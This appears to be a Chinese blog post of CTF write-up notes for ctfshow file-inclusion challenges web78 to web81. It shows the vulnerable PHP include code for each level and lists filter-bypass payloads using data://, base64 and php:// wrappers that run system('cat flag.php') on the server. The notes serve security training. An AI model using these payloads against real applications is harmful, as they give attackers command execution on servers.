show web入门文件包含 payload

2h4ox1n9

已于 2022-06-17 00:50:15 修改

阅读量258

点赞数

文章标签： php 开发语言

于 2022-06-17 00:48:07 首次发布

本文链接：https://blog.csdn.net/m0_53217892/article/details/125325550

版权

PHP 文件包含漏洞 payload 安全防护

关键词由CSDN通过智能技术生成

web78

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

payload file=data://text/plain,<?php system('cat flag.php');?>

---------------------------------------------------------------------------------------------------------------------------------

web79

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

payload file=data://text/plain,<?=system('cat fla*');?>

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

file=php://filter

--------------------------------------------------------------------------------------------------------------------------------

web80

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

可以用大写的PHP， input伪协议

--------------------------------------------------------------------------------------------------------------------------------

web81

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

--------------------------------------------------------------------------------------------------------------------------------